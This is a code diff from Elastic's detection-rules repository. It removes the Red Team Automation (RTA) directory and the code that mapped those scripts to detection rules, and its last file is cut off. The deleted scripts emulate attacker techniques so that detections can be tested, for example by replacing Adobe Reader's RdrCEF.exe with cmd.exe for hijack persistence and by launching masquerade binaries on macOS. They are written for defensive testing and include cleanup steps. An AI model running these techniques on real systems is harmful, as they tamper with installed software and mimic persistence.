diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 6a9941ede..137ce1800 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -5,7 +5,6 @@ tests/**/*.py @mikaayenson @eric-forte-elastic @terrancedejesus detection_rules/ @mikaayenson @eric-forte-elastic @terrancedejesus tests/ @mikaayenson @eric-forte-elastic @terrancedejesus lib/ @mikaayenson @eric-forte-elastic @terrancedejesus -rta/ @mikaayenson @eric-forte-elastic @terrancedejesus hunting/ @mikaayenson @eric-forte-elastic @terrancedejesus # skip rta-mapping to avoid the spam diff --git a/.github/paths-labeller.yml b/.github/paths-labeller.yml index 6f50c9c1d..fe837a130 100644 --- a/.github/paths-labeller.yml +++ b/.github/paths-labeller.yml @@ -12,8 +12,6 @@ - "detection_rules/**/*.py" - "kibana/**/*.py" - "kql/**/*.py" -- "RTA": - - "rta/**/*" - "Hunting": - "hunting/**/*" diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 58347fc9b..27c367450 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -6,21 +6,21 @@ repos: hooks: - id: flake8 args: ['--ignore=D203,C901,E501,W503', '--max-line-length=120','--max-complexity=10', '--statistics'] - exclude: '^rta|^kql' + exclude: '^kql' - repo: https://github.com/PyCQA/bandit rev: 1.7.4 hooks: - id: bandit args: ['-s', 'B101,B603,B404,B607'] - exclude: '^rta|^kql' + exclude: '^kql' # Potential future rigor # - repo: https://github.com/PyCQA/pylint # rev: v2.15.6 # hooks: # - id: pylint # language: system - # exclude: '^rta|^kql' + # exclude: '^kql' # - repo: https://github.com/PyCQA/isort # rev: 5.10.1 # hooks: - # - id: isort \ No newline at end of file + # - id: isort diff --git a/README.md b/README.md index f03272a33..a577d87ca 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@ This repository was first announced on Elastic's blog post, [Elastic Security op - [Overview of this repository](#overview-of-this-repository) - [Getting started](#getting-started) - [How to contribute](#how-to-contribute) + - [RTAs](#rtas) - [Licensing](#licensing) - [Questions? Problems? Suggestions?](#questions-problems-suggestions) @@ -31,7 +32,6 @@ Detection Rules contains more than just static rule files. This repository also | [`hunting/`](./hunting/) | Root directory where threat hunting package and queries are stored | | [`kibana/`](lib/kibana) | Python library for handling the API calls to Kibana and the Detection Engine | | [`kql/`](lib/kql) | Python library for parsing and validating Kibana Query Language | -| [`rta/`](rta) | Red Team Automation code used to emulate attacker techniques, used for rule testing | | [`rules/`](rules) | Root directory where rules are stored | | [`rules_building_block/`](rules_building_block) | Root directory where building block rules are stored | | [`tests/`](tests) | Python code for unit testing rules | @@ -133,9 +133,14 @@ For more advanced command line interface (CLI) usage, refer to the [CLI guide](C We welcome your contributions to Detection Rules! Before contributing, please familiarize yourself with this repository, its [directory structure](#overview-of-this-repository), and our [philosophy](PHILOSOPHY.md) about rule creation. When you're ready to contribute, read the [contribution guide](CONTRIBUTING.md) to learn how we turn detection ideas into production rules and validate with testing. +## RTAs + +Red Team Automations (RTAs) used to emulate attacker techniques and verify the rules can be found in dedicated +repository - [Cortado](https://github.com/elastic/cortado). + ## Licensing -Everything in this repository — rules, code, RTA, etc. — is licensed under the [Elastic License v2](LICENSE.txt). These rules are designed to be used in the context of the Detection Engine within the Elastic Security application. If you’re using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), you’ll get the latest rules the first time you navigate to the detection engine. +Everything in this repository — rules, code, etc. — is licensed under the [Elastic License v2](LICENSE.txt). These rules are designed to be used in the context of the Detection Engine within the Elastic Security application. If you’re using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), you’ll get the latest rules the first time you navigate to the detection engine. Occasionally, we may want to import rules from another repository that already have a license, such as MIT or Apache 2.0. This is welcome, as long as the license permits sublicensing under the Elastic License v2. We keep those license notices in `NOTICE.txt` and sublicense as the Elastic License v2 with all other rules. We also require contributors to sign a [Contributor License Agreement](https://www.elastic.co/contributor-agreement) before contributing code to any Elastic repositories. diff --git a/detection_rules/__init__.py b/detection_rules/__init__.py index b83894de3..ebf6fdb0b 100644 --- a/detection_rules/__init__.py +++ b/detection_rules/__init__.py @@ -19,7 +19,6 @@ from . import ( # noqa: E402 ghwrap, kbwrap, main, - mappings, ml, misc, navigator, @@ -37,7 +36,6 @@ __all__ = ( 'eswrap', 'ghwrap', 'kbwrap', - 'mappings', "main", 'misc', 'ml', diff --git a/detection_rules/cli_utils.py b/detection_rules/cli_utils.py index e2701038d..96aa258c0 100644 --- a/detection_rules/cli_utils.py +++ b/detection_rules/cli_utils.py @@ -265,7 +265,4 @@ def rule_prompt(path=None, rule_type=None, required_only=True, save=True, verbos print('Did not set the following values because they are un-required when set to the default value') print(' - {}'.format('\n - '.join(skipped))) - # rta_mappings.add_rule_to_mapping_file(rule) - # click.echo('Placeholder added to rule-mapping.yaml') - return rule diff --git a/detection_rules/docs.py b/detection_rules/docs.py index d123e13a1..0e6139fc9 100644 --- a/detection_rules/docs.py +++ b/detection_rules/docs.py @@ -77,7 +77,6 @@ class PackageDocument(xlsxwriter.Workbook): self.add_summary() self.add_rule_details() self.add_attack_matrix() - self.add_rta_mapping() self.add_rule_details(self.deprecated_rules, 'Deprecated Rules') def add_summary(self): @@ -172,27 +171,6 @@ class PackageDocument(xlsxwriter.Workbook): worksheet.autofilter(0, 0, len(rules) + 1, len(headers) - 1) - def add_rta_mapping(self): - """Add a worksheet for the RTA/Rule RTA mapping.""" - from .rule_loader import rta_mappings - - worksheet = self.add_worksheet('RTA Mapping') - worksheet.freeze_panes(1, 0) - headers = ('Rule ID', 'Rule Name', 'RTA') - for column, header in enumerate(headers): - worksheet.write(0, column, header, self.default_header_format) - - row = 1 - for rule_id, mapping in rta_mappings.get_rta_mapping().items(): - worksheet.write(row, 0, rule_id) - worksheet.write(row, 1, mapping['rule_name']) - worksheet.write(row, 2, mapping['rta_name']) - row += 1 - - worksheet.set_column(0, 0, 35) - worksheet.set_column(1, 1, 50) - worksheet.set_column(2, 2, 35) - def add_attack_matrix(self): """Add a worksheet for ATT&CK coverage.""" worksheet = self.add_worksheet(attack_tm + ' Coverage') diff --git a/detection_rules/eswrap.py b/detection_rules/eswrap.py index 22f0c01c4..0504c97e1 100644 --- a/detection_rules/eswrap.py +++ b/detection_rules/eswrap.py @@ -21,9 +21,9 @@ from .config import parse_rules_config from .main import root from .misc import add_params, client_error, elasticsearch_options, get_elasticsearch_client, nested_get from .rule import TOMLRule -from .rule_loader import rta_mappings, RuleCollection -from .utils import format_command_options, normalize_timing_and_sort, unix_time_to_formatted, get_path +from .rule_loader import RuleCollection +from .utils import format_command_options, normalize_timing_and_sort, unix_time_to_formatted, get_path COLLECTION_DIR = get_path('collections') MATCH_ALL = {'bool': {'filter': [{'match_all': {}}]}} @@ -60,7 +60,7 @@ def parse_unique_field_results(rule_type: str, unique_fields: List[str], search_ return {'results': parsed_results} if parsed_results else {} -class RtaEvents: +class Events: """Events collected from Elasticsearch.""" def __init__(self, events): @@ -87,7 +87,7 @@ class RtaEvents: os.makedirs(dump_dir, exist_ok=True) return dump_dir - def evaluate_against_rule_and_update_mapping(self, rule_id, rta_name, verbose=True): + def evaluate_against_rule(self, rule_id, verbose=True): """Evaluate a rule against collected events and update mapping.""" from .utils import combine_sources, evaluate @@ -96,15 +96,10 @@ class RtaEvents: merged_events = combine_sources(*self.events.values()) filtered = evaluate(rule, merged_events, normalize_kql_keywords=RULES_CONFIG.normalize_kql_keywords) - if filtered: - sources = [e['agent']['type'] for e in filtered] - mapping_update = rta_mappings.add_rule_to_mapping_file(rule, len(filtered), rta_name, *sources) + if verbose: + click.echo('Matching results found') - if verbose: - click.echo('Updated rule-mapping file with: \n{}'.format(json.dumps(mapping_update, indent=2))) - else: - if verbose: - click.echo('No updates to rule-mapping file; No matching results') + return filtered def echo_events(self, pager=False, pretty=True): """Print events to stdout.""" @@ -322,8 +317,8 @@ class CollectEvents(object): return survey_results -class CollectRtaEvents(CollectEvents): - """Collect RTA events from elasticsearch.""" +class CollectEventsWithDSL(CollectEvents): + """Collect events from elasticsearch.""" @staticmethod def _group_events_by_type(events): @@ -340,7 +335,7 @@ class CollectRtaEvents(CollectEvents): results = self.search(dsl, language='dsl', index=indexes, start_time=start_time, end_time='now', size=5000, sort=[{'@timestamp': {'order': 'asc'}}]) events = self._group_events_by_type(results) - return RtaEvents(events) + return Events(events) @root.command('normalize-data') @@ -348,7 +343,7 @@ class CollectRtaEvents(CollectEvents): def normalize_data(events_file): """Normalize Elasticsearch data timestamps and sort.""" file_name = os.path.splitext(os.path.basename(events_file.name))[0] - events = RtaEvents({file_name: [json.loads(e) for e in events_file.readlines()]}) + events = Events({file_name: [json.loads(e) for e in events_file.readlines()]}) events.save(dump_dir=os.path.dirname(events_file.name)) @@ -383,7 +378,7 @@ def collect_events(ctx, host_id, query, index, rta_name, rule_id, view_events): dsl['bool'].setdefault('filter', []).append({'bool': {'should': [{'match_phrase': {'host.id': host_id}}]}}) try: - collector = CollectRtaEvents(client) + collector = CollectEventsWithDSL(client) start = time.time() click.pause('Press any key once detonation is complete ...') start_time = f'now-{round(time.time() - start) + 5}s' @@ -391,7 +386,7 @@ def collect_events(ctx, host_id, query, index, rta_name, rule_id, view_events): events.save(rta_name=rta_name, host_id=host_id) if rta_name and rule_id: - events.evaluate_against_rule_and_update_mapping(rule_id, rta_name) + events.evaluate_against_rule(rule_id) if view_events and events.events: events.echo_events(pager=True) diff --git a/detection_rules/etc/rule-mapping.yaml b/detection_rules/etc/rule-mapping.yaml deleted file mode 100644 index d9e1a256f..000000000 --- a/detection_rules/etc/rule-mapping.yaml +++ /dev/null @@ -1,2 +0,0 @@ ---- -{} diff --git a/detection_rules/main.py b/detection_rules/main.py index 078a2e4eb..9f2328f6e 100644 --- a/detection_rules/main.py +++ b/detection_rules/main.py @@ -27,7 +27,6 @@ from .config import load_current_package_version, parse_rules_config from .generic_loader import GenericCollection from .exception import (TOMLExceptionContents, build_exception_objects, parse_exceptions_results_from_api) -from .mappings import build_coverage_map, get_triggered_rules, print_converage_summary from .misc import ( add_client, client_error, nested_set, parse_user_config ) @@ -696,29 +695,3 @@ def prep_rule(author: str): updated_rule.write_text(json.dumps(template_rule, sort_keys=True)) click.echo(f'Rule saved to: {updated_rule}. Import this to Kibana to create alerts on all dnstwist-* indexes') click.echo('Note: you only need to import and enable this rule one time for all dnstwist-* indexes') - - -@root.group('rta') -def rta_group(): - """Commands related to Red Team Automation (RTA) scripts.""" - - -# create command to show rule-rta coverage -@rta_group.command('coverage') -@click.option("-o", "--os-filter", default="all", - help="Filter rule coverage summary by OS. (E.g. windows) Default: all") -def rta_coverage(os_filter: str): - """Show coverage of RTA / rules by os type.""" - - # get all rules - all_rules = RuleCollection.default() - - # get rules triggered by RTA - triggered_rules = get_triggered_rules() - - # build coverage map - coverage_map = build_coverage_map(triggered_rules, all_rules) - - # # print summary - all_rule_count = len(all_rules.rules) - print_converage_summary(coverage_map, all_rule_count, os_filter) diff --git a/detection_rules/mappings.py b/detection_rules/mappings.py deleted file mode 100644 index 54a9ca1c2..000000000 --- a/detection_rules/mappings.py +++ /dev/null @@ -1,154 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -"""RTA to rule mappings.""" -from collections import defaultdict -from pathlib import Path - -from rta import get_available_tests - -from .rule import TOMLRule -from .schemas import validate_rta_mapping -from .utils import get_path, load_etc_dump, save_etc_dump - -RTA_DIR = get_path("rta") -RTA_PLATFORM_TYPES = ["windows", "linux", "macos"] - - -class RtaMappings: - """Rta-mapping helper class.""" - - def __init__(self): - """Rta-mapping validation and prep.""" - self.mapping: dict = load_etc_dump('rule-mapping.yaml') - self.validate() - - self._rta_mapping = defaultdict(list) - self._remote_rta_mapping = {} - self._rule_mappings = {} - - def validate(self): - """Validate mapping against schema.""" - for k, v in self.mapping.items(): - validate_rta_mapping(v) - - def add_rule_to_mapping_file(self, rule, rta_name, count=0, *sources): - """Insert a rule mapping into the mapping file.""" - mapping = self.mapping - rule_map = { - 'count': count, - 'rta_name': rta_name, - 'rule_name': rule.name, - } - - if sources: - rule_map['sources'] = list(sources) - - mapping[rule.id] = rule_map - self.mapping = dict(sorted(mapping.items())) - save_etc_dump(self.mapping, 'rule-mapping.yaml') - return rule_map - - def get_rta_mapping(self): - """Build the rule<-->rta mapping based off the mapping file.""" - if not self._rta_mapping: - self._rta_mapping = self.mapping.copy() - - return self._rta_mapping - - def get_rta_files(self, rta_list=None, rule_ids=None): - """Get the full paths to RTA files, given a list of names or rule ids.""" - full_rta_mapping = self.get_rta_mapping() - rta_files = set() - rta_list = set(rta_list or []) - - if rule_ids: - for rule_id, rta_map in full_rta_mapping.items(): - if rule_id in rule_ids: - rta_list.update(rta_map) - - for rta_name in rta_list: - # rip off the extension and add .py - rta_name = Path(rta_name).stem - rta_path = (RTA_DIR / rta_name).with_suffix(".py").resolve() - if rta_path.exists(): - rta_files.add(rta_path) - - return list(sorted(rta_files)) - - -def get_triggered_rules() -> dict: - """Get the rules that are triggered by each RTA.""" - triggered_rules = {} - for rta_test in list(get_available_tests().values()): - for rule_info in rta_test.get("siem", []): - rule_id = rule_info.get("rule_id") - for platform in rta_test.get("platforms", []): - triggered_rules.setdefault(platform, []).append(rule_id) - return triggered_rules - - -def get_platform_list(rule: TOMLRule) -> list: - """Get the list of OSes for a rule.""" - os_list = [] - if rule.contents.metadata.os_type_list: - os_list = [r.lower() for r in rule.contents.metadata.os_list] - elif rule.contents.data.tags: - tags = [t.lower() for t in rule.contents.data.tags] - os_list = [t for t in RTA_PLATFORM_TYPES if t in tags] - return os_list - - -def build_coverage_map(triggered_rules: dict, all_rules) -> dict: - """Get the rules that are not covered by each rta.""" - - # avoid a circular import - from .rule_loader import RuleCollection - all_rules: RuleCollection - - coverage_map = {"all": 0} - for rule in all_rules.rules: - rule_covered = False - os_list = get_platform_list(rule) - - for os_type in os_list: - prefix = "" - - if rule.contents.metadata.maturity == "development": - prefix = "DIAG : " - elif rule.contents.metadata.maturity == "deprecated": - prefix = "DEPR : " - - if rule.id in triggered_rules[os_type]: - coverage_map.setdefault(os_type, {}).setdefault("supported", []).append(f"- [x] {prefix}{rule.name}") - rule_covered = True - else: - coverage_map.setdefault(os_type, {}).setdefault("unsupported", []).append(f"- [ ] {prefix}{rule.name}") - if rule_covered: - coverage_map["all"] += 1 - - return coverage_map - - -def print_converage_summary(coverage_map: dict, all_rule_count: int, os_filter: str): - """Print the coverage summary.""" - print("\n\nCoverage Report\n") - supported_count = coverage_map["all"] - print(f"{supported_count} / {all_rule_count} unique detection rules are supported by RTAs for all OS types") - - for os_type, results in coverage_map.items(): - - if os_type != "all" and (os_type == os_filter or os_filter == "all"): - supported = results["supported"] - unsupported = results["unsupported"] - - print(f"\n{os_type} coverage: {len(supported)} / {len(supported) + len(unsupported)}") - print("Supported:") - for rule in sorted(set(supported)): - print(f"\t{rule}") - - print("Unsupported:") - for rule in sorted(set(unsupported)): - print(f"\t{rule}") diff --git a/detection_rules/rule_loader.py b/detection_rules/rule_loader.py index b6ac67421..b04d00b79 100644 --- a/detection_rules/rule_loader.py +++ b/detection_rules/rule_loader.py @@ -17,7 +17,6 @@ from marshmallow.exceptions import ValidationError from . import utils from .config import parse_rules_config -from .mappings import RtaMappings from .rule import ( DeprecatedRule, DeprecatedRuleContents, DictRule, TOMLRule, TOMLRuleContents ) @@ -629,8 +628,6 @@ def load_github_pr_rules(labels: list = None, repo: str = 'elastic/detection-rul return new, modified, errors -rta_mappings = RtaMappings() - __all__ = ( "FILE_PATTERN", "DEFAULT_PREBUILT_RULES_DIRS", @@ -643,5 +640,4 @@ __all__ = ( "metadata_filter", "production_filter", "dict_filter", - "rta_mappings" ) diff --git a/detection_rules/schemas/__init__.py b/detection_rules/schemas/__init__.py index a303c365e..2b988cce6 100644 --- a/detection_rules/schemas/__init__.py +++ b/detection_rules/schemas/__init__.py @@ -13,7 +13,6 @@ from semver import Version from ..config import load_current_package_version, parse_rules_config from ..utils import cached, get_etc_path from . import definitions -from .rta_schema import validate_rta_mapping from .stack_compat import get_incompatible_fields @@ -25,7 +24,6 @@ __all__ = ( "get_min_supported_stack_version", "get_stack_schemas", "get_stack_versions", - "validate_rta_mapping", "all_versions", ) diff --git a/detection_rules/schemas/rta_schema.py b/detection_rules/schemas/rta_schema.py deleted file mode 100644 index f86bcd9f2..000000000 --- a/detection_rules/schemas/rta_schema.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import jsl -import jsonschema - - -class MappingCount(jsl.Document): - """Mapping count schema.""" - - count = jsl.IntField(minimum=0, required=True) - rta_name = jsl.StringField(pattern=r'[a-zA-Z-_]+', required=True) - rule_name = jsl.StringField(required=True) - sources = jsl.ArrayField(jsl.StringField(), min_items=1) - - -mapping_schema = MappingCount.get_schema() - - -def validate_rta_mapping(mapping): - """Validate the RTA mapping.""" - jsonschema.validate(mapping, mapping_schema) diff --git a/pyproject.toml b/pyproject.toml index ae4642263..ffa21ba37 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "detection_rules" -version = "0.4.16" +version = "0.4.17" description = "Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Security’s Detection Engine." readme = "README.md" requires-python = ">=3.12" @@ -54,7 +54,7 @@ hunting = ["tabulate==0.9.0"] [tool.setuptools] package-data = {"kql" = ["*.g"]} -packages = ["detection_rules", "rta", "hunting"] +packages = ["detection_rules", "hunting"] [tool.pytest.ini_options] filterwarnings = [ diff --git a/rta/README.md b/rta/README.md deleted file mode 100644 index f6608570f..000000000 --- a/rta/README.md +++ /dev/null @@ -1,25 +0,0 @@ -## Red Team Automation - -[![Supported Python versions](https://img.shields.io/badge/python-3.7+-yellow.svg)](https://www.python.org/downloads/) -[![Chat](https://img.shields.io/badge/chat-%23security--detection--rules-blueviolet)](https://ela.st/slack) - -The repo comes with some red team automation ([RTA](./)) python scripts that run on Windows, Mac OS, and \*nix. -RTA scripts emulate known attacker behaviors and are an easy way too verify that your rules are active and working as expected. - -```console -$ python -m rta -h -usage: rta [-h] ttp_name - -positional arguments: - ttp_name - -optional arguments: - -h, --help show this help message and exit -``` -`ttp_name` can be found in the [rta](.) directory. For example to execute `./rta/wevtutil_log_clear.py` script, run command: - -```console -$ python -m rta wevtutil_log_clear -``` - -Most of the RTA scripts contain a comment with the rule name, in `signal.rule.name`, that maps to the Kibana Detection Signals. diff --git a/rta/__init__.py b/rta/__init__.py deleted file mode 100644 index 9db5f72b6..000000000 --- a/rta/__init__.py +++ /dev/null @@ -1,100 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import importlib -import inspect -from dataclasses import asdict, dataclass, field -from pathlib import Path -from typing import Dict, List, Optional - -from . import common - -# Definitions -CURRENT_DIR = Path(__file__).resolve().parent -RULE_META_KEYS = ["rule_id", "rule_name"] - -@dataclass -class RtaMetadata: - """Metadata associated with all RTAs.""" - - uuid: str - platforms: List[str] - path: Path = field(init=False) - name: str = field(init=False) - endpoint: Optional[List[Dict[str, str]]] = None - siem: Optional[List[Dict[str, str]]] = None - techniques: Optional[List[str]] = None - - def __post_init__(self): - """Set the path and name based on the callee and check for platforms.""" - - # Set the path of the callee - for frame in inspect.stack(): - self.path = Path(frame.filename) - self.name = self.path.name - if frame.function == "" and valid_rta_file(self.path): - break - - # Check for valid platforms - if not self.platforms and (self.endpoint or self.siem): - raise ValueError(f"RTA {self.name} has no platforms specified but has rule info provided.") - - # Check for valid rule metadata - self._validate_rule_metadata(self.endpoint, "endpoint") - self._validate_rule_metadata(self.siem, "siem") - - def _validate_rule_metadata(self, rules: Optional[List[Dict[str, str]]], field_name: str): - """Check for valid rule metadata""" - if rules: - for rule in rules: - if sorted(rule.keys()) != RULE_META_KEYS: - raise ValueError(f"RTA {self.name} has invalid {field_name} field in metadata.") - -def valid_rta_file(file_path: str) -> bool: - return file_path.stem not in ["init", "common", "main"] and not file_path.name.startswith("_") - - -def get_available_tests(print_list: bool = False, os_filter: str = None) -> Dict[str, dict]: - """Get a list of available tests.""" - - test_metadata = {} - - for file in CURRENT_DIR.rglob("*.py"): - - if valid_rta_file(file): - module = importlib.import_module(f"rta.{file.stem}") - - if os_filter and os_filter not in module.metadata.platforms and os_filter != "all": - continue - - test_metadata[file.stem] = asdict(module.metadata) - - if print_list: - py_ext = 3 # account for the .py ext - longest_test_name = len(max(test_metadata.keys(), key=len)) + py_ext - header = f"{'name':{longest_test_name}} | {'platforms':<21} | {'rule id':<36} | {'rule name':<30}" - - print("Printing available tests") - print(header) - print("=" * len(header)) - - for test in test_metadata.values(): - rule_list = [] - if test['endpoint'] and test['siem']: - rule_list = test['endpoint'] + test['siem'] - elif test['endpoint']: - rule_list = test['endpoint'] - elif test['siem']: - rule_list = test['siem'] - else: - rule_list = [{"rule_name": "", "rule_id": ""}] - print(f"{test['name']:<{longest_test_name}} | {', '.join(test['platforms']):<21} | {rule_list[0]['rule_id']:36} | {rule_list[0]['rule_name']}") - for rule in rule_list[1:]: - print(f"{'':<{longest_test_name}} | {'':<21} | {rule['rule_id']:36} | {rule['rule_name']}") - - return test_metadata - - -__all__ = "common" diff --git a/rta/__main__.py b/rta/__main__.py deleted file mode 100644 index a73e0dd55..000000000 --- a/rta/__main__.py +++ /dev/null @@ -1,77 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import argparse -import difflib -import importlib -import subprocess -import sys -import time -from pathlib import Path - -from . import get_available_tests -from .common import CURRENT_OS - - -DELAY = 1 -RTA_PLATFORM_TYPES = ["windows", "linux", "macos"] - - -def run_all(): - """Run a single RTA.""" - errors = [] - for ttp_file in get_available_tests(os_filter=CURRENT_OS): - print(f"---- {Path(ttp_file).name} ----") - p = subprocess.Popen([sys.executable, "-m", "rta", "-n", ttp_file]) - p.wait() - code = p.returncode - - if p.returncode: - errors.append((ttp_file, code)) - - time.sleep(DELAY) - print("") - - return len(errors) - - -def run(ttp_name: str, *args): - """Run all RTAs compatible with OS.""" - ttp_names = sorted(get_available_tests()) - if ttp_name not in ttp_names: - suggestion = ', '.join(difflib.get_close_matches(ttp_name, ttp_names, n=3)) - if suggestion: - suggestion = f"Did you mean {suggestion}?" - raise ValueError(f"Unknown RTA {ttp_name}. {suggestion}") - - module = importlib.import_module("rta." + ttp_name) - return module.main(*args) - - -if __name__ == "__main__": - parser = argparse.ArgumentParser("rta") - parser.add_argument("-n", "--name", dest="name", nargs='+', - help="Name(s) of test(s) to execute. E.g. bitsadmin_execution adobe_hijack") - parser.add_argument("-l", "--list", dest="list", action="store_true", help="Print a list of available tests") - parser.add_argument("-o", "--os-filter", dest="os_filter", default="all", choices=RTA_PLATFORM_TYPES, - help="Filter rule coverage summary by OS. (E.g. windows) Default: all",) - parser.add_argument("--run-all", action="store_true") - parser.add_argument("--delay", type=int, help="For run-all, the delay between executions") - parsed_args, remaining = parser.parse_known_args() - - if parsed_args.name: - if parsed_args.run_all: - raise ValueError(f"Pass ttp --name or --run-all, not both") - else: - for rta_test in parsed_args.name: - rta_name = Path(rta_test).stem - exit(run(rta_name, *remaining)) - - elif parsed_args.list: - get_available_tests(print_list=True, os_filter=parsed_args.os_filter) - elif parsed_args.run_all: - exit(run_all()) - else: - print("Execute 'python -m rta -h' to see available options") diff --git a/rta/adobe_hijack.py b/rta/adobe_hijack.py deleted file mode 100644 index f2fec5715..000000000 --- a/rta/adobe_hijack.py +++ /dev/null @@ -1,55 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Adobe Hijack Persistence -# ATT&CK: T1044 -# Description: Replaces PE file that will run on Adobe Reader start. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="2df08481-31db-44a8-b01d-1c0df827bddb", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "2bf78aa2-9c56-48de-b139-f169bf99cf86", "rule_name": "Adobe Hijack Persistence"}], - techniques=["T1574"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - rdr_cef_dir = Path("C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") - rdrcef_exe = rdr_cef_dir / "RdrCEF.exe" - cmd_path = "C:\\Windows\\System32\\cmd.exe" - backup = Path("xxxxxx").resolve() - backedup = False - - # backup original if it exists - if rdrcef_exe.is_file(): - common.log(f"{rdrcef_exe} already exists, backing up file.") - common.copy_file(rdrcef_exe, backup) - backedup = True - else: - common.log(f"{rdrcef_exe} doesn't exist. Creating path.") - rdr_cef_dir.mkdir(parents=True) - - # overwrite original - common.copy_file(cmd_path, rdrcef_exe) - - # cleanup - if backedup: - common.log("Putting back backup copy.") - common.copy_file(backup, rdrcef_exe) - backup.unlink() - else: - common.remove_file(rdrcef_exe) - rdr_cef_dir.rmdir() - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/adobe_priv_helper_tool.py b/rta/adobe_priv_helper_tool.py deleted file mode 100644 index 4cf0b65e2..000000000 --- a/rta/adobe_priv_helper_tool.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e5d376ae-d634-41fa-903c-42f35736a615", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Suspicious Child Process of Adobe Acrobat Reader Update Service", - "rule_id": "f85ce03f-d8a8-4c83-acdc-5c8cd0592be7", - } - ], - techniques=["T1068"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/com.adobe.ARMDC.SMJobBlessHelper" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake com.adobe.ARMDC.SMJobBlessHelper commands to adobe mimic privesc") - common.execute([masquerade, "childprocess", masquerade], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/app_bundler_execution.py b/rta/app_bundler_execution.py deleted file mode 100644 index ef583372a..000000000 --- a/rta/app_bundler_execution.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ea7c50ad-5736-48c7-bf39-50f708710826", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Script Execution via macOS Application Bundle", - "rule_id": "94a891a9-3771-4a8c-a6ca-82fa66cfd7e2", - } - ], - siem=[], - techniques=["T1553", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/launchd" - masquerade2 = "/tmp/bash" - masquerade3 = "/tmp/curl" - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - common.create_macos_masquerade(masquerade3) - - # Execute command - common.log("Launching fake macOS application bundler commands") - command = f"{masquerade2} test.app/Contents/MacOS/test-psntest" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True) - common.execute([masquerade2, "childprocess", masquerade3], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/app_hijack.py b/rta/app_hijack.py deleted file mode 100644 index 880f0829a..000000000 --- a/rta/app_hijack.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9e87748e-9866-4b6b-832d-5cba4dda14e8", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Default Application Hijacking", - "rule_id": "5d2c3833-a36a-483a-acea-5bf8cf363a81", - } - ], - siem=[], - techniques=["T1574"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - app_dir = Path("/Applications/test/Contents/") - app_dir.mkdir(parents=True, exist_ok=True) - masquerade = str(app_dir / "hijack") - common.create_macos_masquerade(masquerade) - masquerade2 = "/tmp/open" - common.create_macos_masquerade(masquerade2) - - # Execute command - common.log("Launching fake open commands to mimic hijacking applications") - command = f"{masquerade2} -a /System/Applications/*" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True) - - # cleanup - common.remove_directory(str(app_dir)) - common.remove_file(masquerade2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/appcompat_shim.py b/rta/appcompat_shim.py deleted file mode 100644 index dd9e98071..000000000 --- a/rta/appcompat_shim.py +++ /dev/null @@ -1,44 +0,0 @@ -# 